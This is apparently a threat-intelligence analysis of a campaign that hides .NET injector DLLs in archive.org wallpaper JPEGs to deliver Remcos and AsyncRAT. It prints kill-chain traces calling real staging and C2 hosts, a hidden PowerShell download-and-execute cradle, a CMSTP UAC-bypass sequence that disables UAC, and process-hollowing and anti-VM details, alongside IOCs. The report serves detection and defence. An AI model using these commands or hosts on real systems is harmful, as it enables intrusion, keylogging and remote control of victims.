Archive.org Stego Delivers Remcos and AsyncRAT

In late February 2026, a cross-reference between URLhaus and Tria.ge sandbox data surfaced an active campaign abusing archive.org as a payload delivery platform. The operator hides .NET injector DLLs inside 4K wallpaper JPEGs using steganography. The images render normally in any viewer; the malicious payload sits after the JPEG end-of-file marker. A daily recompile-and-upload cycle distributes fresh payloads across four Gmail-linked archive.org accounts, delivering two RAT families in parallel: Remcos and AsyncRAT.

Discovery

Cross-referencing URLhaus malware distribution URLs with Tria.ge sandbox results on SHA256 hashes produced 54 matches. A host-level comparison flagged overlap on archive.org along with several other domains: uploads.otzo.com, sbstorage.cfd, sunchernical.com, umxtxhub.za.com, excellence02.rf.gd, yaso.su, pastefy.app, and fil.ydns.eu.

The archive.org overlap led to the stego campaign documented here. The other host overlaps were unrelated -- Mirai botnets, Quasar variants with DGA domains, and similar commodity malware.

Steganography technique

The carrier images are 3840x2160 JPEG wallpapers. The malicious payload sits after the JPEG EOF marker (FF D9) at byte offset 1,390,750. Everything before that offset is a standard JPEG. Everything after it is a base64-encoded .NET DLL wrapped in text delimiters.

We observed two encoding formats across the five-day campaign window. The operator changed formats after the first day:

Format 1 (Feb 24 only): The payload is framed between BaseStart- and -BaseEnd markers. A regex match extracts the base64 content between them.

Format 2 (Feb 25 onward): The framing changes to IN- at the start and ==-in1 at the end. Same extraction logic, different markers.

The dropper downloads the image via WebClient.DownloadData(), extracts the base64 block by regex, and loads the assembly via [Reflection.Assembly]::Load():

# Format 1 (Feb 24)
[regex]::Match($imageData, 'BaseStart-(.*?)-BaseEnd').Groups[1].Value | base64 -d
# Format 2 (Feb 25+)
[regex]::Match($imageData, 'IN-(.*?)-in1').Groups[1].Value | base64 -d

The Feb 24 payload has a VirusTotal first-seen date of Feb 19 -- five days before the first archive.org upload. Payload sizes increase from 745 KB to 1.6 MB across the four builds. The Feb 24/25 DLLs use a simpler ConfuserEx configuration with cleartext parameter names in the Main method signature. The Feb 26 build jumps to 1.2 MB with a 295 KB ConfuserEx string encryption pool. The Feb 27/28 build adds seven resources including an RSA-1024 public key and proxy-delegate obfuscation.

All four DLLs masquerade as Microsoft.Win32.TaskScheduler.dll (v2.12.2.0, .NET Framework 4.5), preserving the legitimate library's assembly metadata alongside the injected malicious classes. The injection framework namespace HackForums.gigajew.Mandark is left intact in all four builds. DrWeb classifies all four as Trojan.InjectNET.14. The full injector teardown is in the .NET injector analysis section below.

Upload infrastructure

Four Gmail accounts upload stego images to archive.org. 19 uploads over Feb 24-28:

Timestamps are embedded in item identifiers (YYYYMMDD_HHMM format). The same payload gets uploaded from different accounts on the same day. Subject tags are gibberish strings: abbas982fdsfdsf, abdsuids98798fdwfjkf, novalojatudonovosjacacar.

jessicaleite is a common Portuguese/Brazilian surname. The tag novalojatudonovosjacacar is Portuguese ("nova loja tudo novos jacarandá").

Kill chain 1: Remcos v7.1.0 Pro

Triage sample 260227-vh8g9shw5e fetches the Feb 26 stego image from archive.org and delivers Remcos RAT.

Dropper

Copilot-themed: dropper name, C2 domain, keylog folder, and copy filename all match.

Execution flow

wscript.exe spawns hidden PowerShell, which fetches the stego JPEG from archive.org via WebClient.DownloadData(), extracts the base64 payload with regex IN-(.*?)-in1, and loads the resulting .NET DLL (1.2 MB) via [Reflection.Assembly]::Load().

The entry point [Software.Program].GetMethod("Main") takes 19 base64-encoded config arguments. Only the core download-and-execute path is enabled; all persistence, VM detection, and UAC bypass toggles are disabled.

The injector fetches a second stage from msidownloads.duckdns.org, then process-hollows Remcos into MSBuild via HackForums.gigajew.Mandark.

CopilotDrivers.js
  → wscript.exe → PowerShell (hidden window)
    → WebClient.DownloadData("http://archive.org/download/optimized_msi_20260226_1507/optimized_MSI.png")
      → Regex 'IN-(.*?)-in1' → base64 decode
        → [Reflection.Assembly]::Load() → Microsoft.Win32.TaskScheduler.dll (1.2MB)
          → [Software.Program].GetMethod("Main").Invoke(19 config args)
            → Stage 2: GET http://msidownloads.duckdns.org/Nueva%20carpeta/Copi.txt
              → MSBuild LOLBin (C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe)
                → Process hollowing (x86) → Remcos 7.1.0 Pro → systemcopilotdrivers.ydns.eu:3001

Extracted Remcos configuration

Keystrokes are written to logs.dat in Copilotdrivers under %AppData%. A memory dump confirms the keylogger initialised during execution:

[2026/02/27 17:00:51 Offline Keylogger Started]
[Program Manager]

This timestamp comes from the sandbox run, not a live victim -- but it confirms the keylogger activates immediately on execution despite keylog_flag: false in the static config. Dropper obfuscation details and the full 19-parameter config are in the Dropper script decode section.

Kill chain 2: AsyncRAT v1.0.7

Triage sample 260227-vftakaht4g fetches the Feb 27 stego image. Same operator, same delivery pipeline, different RAT.

Dropper

This chain mimics Windows system services -- WMIEventLogs for the dropper, securityhealthservice for the C2 domain.

Execution flow

Same pipeline as kill chain 1. Stage 2 URL points to vm.txt instead of Copi.txt; the injector DLL is 1.5 MB.

WMIEventLogs.js
  → wscript.exe → PowerShell (hidden window)
    → WebClient.DownloadData("http://archive.org/download/optimized_msi_20260227_1420/optimized_MSI.png")
      → Regex 'IN-(.*?)-in1' → base64 decode
        → [Reflection.Assembly]::Load() → Microsoft.Win32.TaskScheduler.dll (1.5MB)
          → [Software.Program].GetMethod("Main").Invoke(19 config args)
            → Stage 2: GET http://msidownloads.duckdns.org/Nueva%20carpeta/vm.txt
              → MSBuild LOLBin (C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe)
                → Process hollowing (x86) → AsyncRAT 1.0.7 → securityhealthservice.ydns.eu:1000

Extracted AsyncRAT configuration

ThreatFox records show securityhealthservice.ydns.eu first appeared October 7, 2025 as a DCRat C2, later repurposed for AsyncRAT. Install mode is disabled; the 1-minute re-execution interval (executionIntervalMinutes = 1) re-downloads and re-injects on a loop. The 19-parameter config is identical to kill chain 1 except encodedPayloadUrl (vm.txt vs Copi.txt). Full comparison in Dropper script decode.

Kill chain 2b: alternate staging

A second AsyncRAT dropper shares the same RAT configuration but uses a different payload delivery host.

This variant downloads from hostphpwindowsapps.ydns.eu:8011 (46.246.80.9 -- FrootVPN, Glesys AB, AS42708) instead of archive.org.

WMIEventLogs.js
  → PowerShell (hidden window)
    → GET http://hostphpwindowsapps.ydns.eu:8011/data/optimized_MSI.png
      → Strip IN-/==-in1 markers, base64 decode (same stego format)
        → [Reflection.Assembly]::Load() (.NET reflective loading)
          → Stage 2: GET http://msidownloads.duckdns.org/Nueva%20carpeta/vm.txt
            → MSBuild LOLBin execution
              → Drop to C:\Users\Public\Downloads\ + scheduled task persistence
                → AsyncRAT 1.0.7 → securityhealthservice.ydns.eu:1000

Differences from the primary chain: reflective assembly loading instead of process hollowing, scheduled task persistence enabled, and RAT dropped to C:\Users\Public\Downloads\ rather than injected in-memory.

PCAP analysis

Both kill chains fetch a second stage from msidownloads.duckdns.org/Nueva%20carpeta/:

Both files are 97,280 bytes of null bytes -- no PE header, no payload. The Jan 24 Last-Modified date (a month before analysis) suggests the actual payloads were swapped out. The RATs executed regardless. Initial injection is from the stego payload; stage 2 is a 60-second re-infection loop (parameter 12).

Staging server fingerprint

181.206.158.190 (Colombia Movil / Tigo, AS27831) -- the same IP that hosts both RAT C2 endpoints.

Shared infrastructure

Before executing, both chains drop a test .ps1 file (# PowerShell test file to determine AppLocker lockdown mode) to probe for Constrained Language Mode.

Port allocation on 181.206.158.190

.NET injector analysis

All four extracted DLLs share the same injector framework. The source was a GitHub repository gigajew/Mandark (since deleted), advertised on HackForums by user gigajew (UID 537383) as "Tiny 64-bit RunPE written in C#". The operator never stripped the namespace from any build.

DLL masquerade

The injector masquerades as Microsoft.Win32.TaskScheduler (v2.12.2.0, .NET Framework 4.5). The legitimate library's assembly metadata and RepositoryUrl (https://github.com/dahall/taskscheduler) are preserved alongside the malicious classes (Mandark, VirtualMachineDetector, Software.Program).

Process hollowing

Mandark::Load(byte[], string, string) performs RunPE process hollowing via P/Invoke:

All four DLLs also contain a VirtualMachineDetector class (disabled in this deployment); detection strings are in the Config string table section.

19-parameter Main signature

The Feb 24 and Feb 25 builds preserve cleartext parameter names on the Software.Program::Main entry point, revealing the full loader configuration schema:

Main(encodedPayloadUrl, enableRegistryStartup, vbScriptPath, vbScriptName,
     dotNetClrPath, nativeLibraryPath, nativeLibraryName, enableTaskPersistence,
     downloadUrl, saveDirectory, outputFileName, fileExtension,
     executionIntervalMinutes, enableStartupTask, scheduledTaskName,
     enableVmDetection, enableUacBypass, uacPayloadUrl, uacCommand)

The Feb 24/25 DLLs also contain a method with Portuguese parameter names: Microsoft.Win32.TaskScheduler.Class15::VerificarMinutos(minutos, url, caminho, nomedoarquivo, extençao, taskname). caminho = path, nomedoarquivo = filename, extençao = extension (misspelled -- the correct Portuguese is extensão), VerificarMinutos = VerifyMinutes.

Outer resource decryption

Feb 24 and Feb 25 builds

The Feb 24 and Feb 25 DLLs are the simpler builds (~750 KB each). Each contains a single private resource -- rnWcs (Feb 24) and PmtjV (Feb 25) -- both 21,939 bytes, AES-CBC encrypted.

The resource binary layout is:

[uint16 dataLen][dataLen XOR'd bytes][byte xorKeyLen][xorKey bytes][AES payload]

Decryption proceeds in two stages. First, dataLen bytes are XOR'd with a repeating key to produce a cleartext header. It contains a license string, boolean flags, a cipher selector byte, and the raw AES key bytes. The XOR key doubles as the AES IV.

Second, the remaining bytes are decrypted using the selected cipher. The DLL supports six modes:

Decrypted keys (both builds use AES, ID 2):

The decrypted payload is 21,860 bytes: a 356-byte config prefix followed by a 21,504-byte embedded .NET DLL.

Feb 26 build

The Feb 26 DLL (1.2 MB) switches from the commercial obfuscator to ConfuserEx. It contains 4 resources -- a 295 KB string pool, a BMP, and two .NET resource files. Class names change from empty strings to randomised alphanumeric identifiers. The size jump (758 KB to 1.2 MB) is ConfuserEx string pool overhead.

Feb 27/28 build

The Feb 27/28 DLL (1.6 MB) contains 7 resources:

The RSA resource (256 bytes) is encrypted with AES-256-CBC. The 32-byte key is constructed inline in IL through 109 arithmetic operations -- no byte array literal to pattern-match. We extracted the key by tracing IL manually:

• AES key: 5930640581a9e3de1ffb9377e461aa1b17a6b17a20775977eb9fc0d553f7f978
• AES IV: 55d9d5a0d8c6783d2671cdf870b25720

The decrypted content is an RSA-1024 XML public key in .NET RSAKeyValue format (exponent AQAB, 1024-bit modulus). Its purpose is unclear from these builds alone -- possibly payload verification or encrypted config delivery.

Inner DLL teardown

The decrypted outer resource from the Feb 24 and Feb 25 builds contains a 356-byte table-of-contents header followed by a 21,504-byte .NET DLL. The TOC header stores four obfuscated resource names, a XOR'd int32 DLL size field, and metadata flags. The inner DLL is a resource-only assembly -- no executable code. It carries four CLR resource entries that the outer DLL's runtime resolver loads via AppDomain Hashtable keyed by integer index:

Resource name obfuscation

The resource names are stored in the 356-byte TOC header prepended to the inner DLL. Each name is obfuscated using a per-build Unicode block and XOR key:

• Feb 24: Tibetan block (U+0F00), XOR key 0x38
• Feb 25: Thai block (U+0E00), XOR key 0x09

Custom deflate compression

Resources 2 and 3 are compressed with a non-standard Huffman implementation that modifies RFC 1951 DEFLATE's canonical code length ordering and bit reader. Incompatible with zlib, gzip, and raw DEFLATE decoders.

We bypassed the custom compression via Mono reflection: load the inner DLL, scan for static methods with a Stream→Stream signature, invoke each candidate. Tokens 0x06000B69 (Feb 24) and 0x06000B6B (Feb 25) succeeded:

Assembly asm = Assembly.LoadFrom(dllPath);
foreach (Type t in asm.GetTypes())
    foreach (MethodInfo m in t.GetMethods(BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic))
    {
        var parms = m.GetParameters();
        if (parms.Length == 1 && parms[0].ParameterType == typeof(Stream) && m.ReturnType == typeof(Stream))
        {
            using (var input = new MemoryStream(resData))
            {
                Stream result = (Stream)m.Invoke(null, new object[] { input });
                if (result?.Length > 0) { /* write output */ }
            }
        }
    }

The harness discovers methods by signature, not hardcoded token.

Decrypted string table

Resource 2 (azwP / zPMq) decompresses from ~13.3 KB to ~216 KB (16:1 ratio). The data contains 1,179-1,181 length-prefixed strings in BinaryReader.ReadString() format.

The strings are shuffled differently between the Feb 24 and Feb 25 builds -- the same strings appear at different indices -- but the content is identical. This per-build shuffling is part of the obfuscator's polymorphic engine: each recompilation produces a new string ordering and a corresponding new index table.

String #62 is a 193 KB junk padding block: 2,472 repetitions of Unicode decoy strings like this.supportableness += "ֽⳎ...". That accounts for ~89% of the decompressed resource. The remaining ~1,180 strings contain the injector configuration.

Decrypted index table

Resource 3 (NDhtd / rRkmt) decompresses to 780-1,016 bytes of XOR-encoded int32 values mapping runtime string requests to physical indices in the shuffled table. The CFF dispatcher XOR-decodes each index at runtime.

XOR masks: 0x38cfa900 (Feb 24), 0x677c8800 (Feb 25). Masks are in the outer DLL's CFF dispatcher, not the inner DLL.

The trailing 32 bytes contain four IEEE 754 doubles: 31.0 (default executionIntervalMinutes), 0.0, 1.0, 2.0 (boolean flags and loop counters).

Config string table

After stripping 193 KB of junk padding (string #62), the remaining ~1,180 strings map the injector's capabilities.

UAC bypass -- CMSTP technique

1. Disable UAC via registry: cmd /c reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
2. Execute CMSTP with a crafted INF file: cmstp.exe /au "<inf_path>" -- the INF file uses a CorpVPN service name with a LINE command placeholder that receives the actual command to execute
3. Clean up the CMSTP process: taskkill /IM cmstp.exe /F

Portuguese status messages: Bypass executado com sucesso! and Erro ao executar o bypass.

Persistence -- three mechanisms

1. Registry Run key

SOFTWARE\Microsoft\Windows\CurrentVersion\Run entry. Target path and name via enableRegistryStartup parameters.

2. Scheduled task

The full Microsoft.Win32.TaskScheduler library (v2.12.2) is embedded in the DLL. Tasks are created with the description Baixar e executar o PuTTY a cada 1 minuto indefinidamente -- Portuguese for "Download and run PuTTY every 1 minute indefinitely." The PuTTY reference is a placeholder name that was never updated for this campaign.

3. PowerShell download cradle

A hidden PowerShell process downloads and executes a payload:

powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri '<URL>' -OutFile '<PATH>'; Start-Process '<PATH>' -WindowStyle Hidden"

Anti-VM detection

WMI queries:

• Win32_ComputerSystem
• Win32_BIOS
• Win32_DiskDrive
• Win32_PnPEntity
• Win32_NetworkAdapterConfiguration
• Win32_MotherboardDevice

Hypervisor-specific indicators:

Detection triggers produce messages in the format: Detected as virtual machine given {key} information. where {key} is one of computer, bios, hard disk, PnP devices, processes, or Windows services.

Process injection APIs

The Win32 API names for process hollowing are base64-encoded in the string table. At runtime, the injector resolves them via LoadLibraryA/GetProcAddress:

The remaining hollowing APIs (CreateProcess, ZwUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext) use P/Invoke. Portuguese error strings for API resolution failures: Falha em LoadLibraryA para '{0}' (Win32Error {1}) and Falha em GetProcAddress para '{0}' na '{1}' (Win32Error {2}).

Download URLs and output paths are runtime parameters from the outer DLL's Main arguments. C2 addresses reside in the RAT payload config, not the injector.

Dropper script decode

Obfuscation

Variable names: $catastrophal, $quantifications, $flaccidness, $strepsorhine.

URL encoding: Payload URL stored reversed with t replaced by #. $semCerquilha (Portuguese: "without hash") handles the reversal.

Config delivery: 19 parameters packed into a base64-encoded CSV, split and trimmed at runtime.

Decoded 19-parameter config

Only the core download-and-execute path is active. Parameters 1, 5, 7, 13, 15, 16, 17, and 18 are empty or 0 -- all persistence, VM detection, and UAC bypass features are disabled. vbScriptName, outputFileName, and scheduledTaskName retain framework defaults (Name_File, Task_Name). Persistence is delegated to the RAT payloads.

Operator profile

The same operator runs Remcos, AsyncRAT, and previously DCRat through a shared delivery pipeline with over 10 months of continuous activity from a Colombian residential IP address.

Geographic and linguistic indicators

• Botnet name: "Oct Respaldo" -- "Respaldo" is Spanish for "backup"; "Oct" matches the October 2025 registration date of the C2 domain
• Staging URL path: Nueva carpeta (Spanish: "new folder")
• C2 IP: 181.206.158.190 -- Colombia Movil (Tigo), AS27831
• VPN passive DNS: 46.246.80.9 has resolved 45 DDNS domains. Notable entries:
  • androidmedallo -- "Medallo" is Medellin slang
  • dianganadores -- references the Colombian tax agency (DIAN)
  • cooempresasltda
• Domain migration: securityhealthservice.ydns.eu was a DCRat C2 (ThreatFox, October 2025), later repurposed for AsyncRAT

Primary C2 -- 181.206.158.190

Dropper staging -- 46.246.80.9

Notable passive DNS entries:

C2 domains

Operator evolution timeline

Apr 2025    DCRat on 181.206.158.190 (Colombia Movil)
Jun 2025    + Remcos on same IP
Oct 2025    securityhealthservice.ydns.eu registered (DCRat → later AsyncRAT)
Feb 5 2026  systemcopilotdrivers.ydns.eu registered (Remcos)
Feb 19      Feb 24 injector DLL first seen on VT (pre-deployment testing)
Feb 24      First archive.org stego upload (BaseStart format, 2 accounts)
Feb 25      Format change to IN-/==-in1, 4th Gmail account used
Feb 26-27   Daily payload rotation, both Remcos + AsyncRAT active
Feb 28      Same payload re-uploaded from 2 accounts (no rotation today)

IOC summary

Hashes, C2 domains, IPs, and operator accounts are in the tables throughout the sections above. The following IOCs are not consolidated elsewhere.

Steganography payload URLs

• http://archive.org/download/0225-r/0225R.png
• http://archive.org/download/optimized_msi_20260226_1507/optimized_MSI.png
• http://archive.org/download/optimized_msi_20260227_1420/optimized_MSI.png
• http://hostphpwindowsapps.ydns.eu:8011/data/optimized_MSI.png

Mutexes

Conclusion

Archive.org's trusted-domain status, persistent uploads, and lack of content scanning make it an effective staging platform. Daily rotation across four accounts provides redundancy against takedowns.

See also: Remcos Banking Fraud via Three AutoIt Persistence Chains.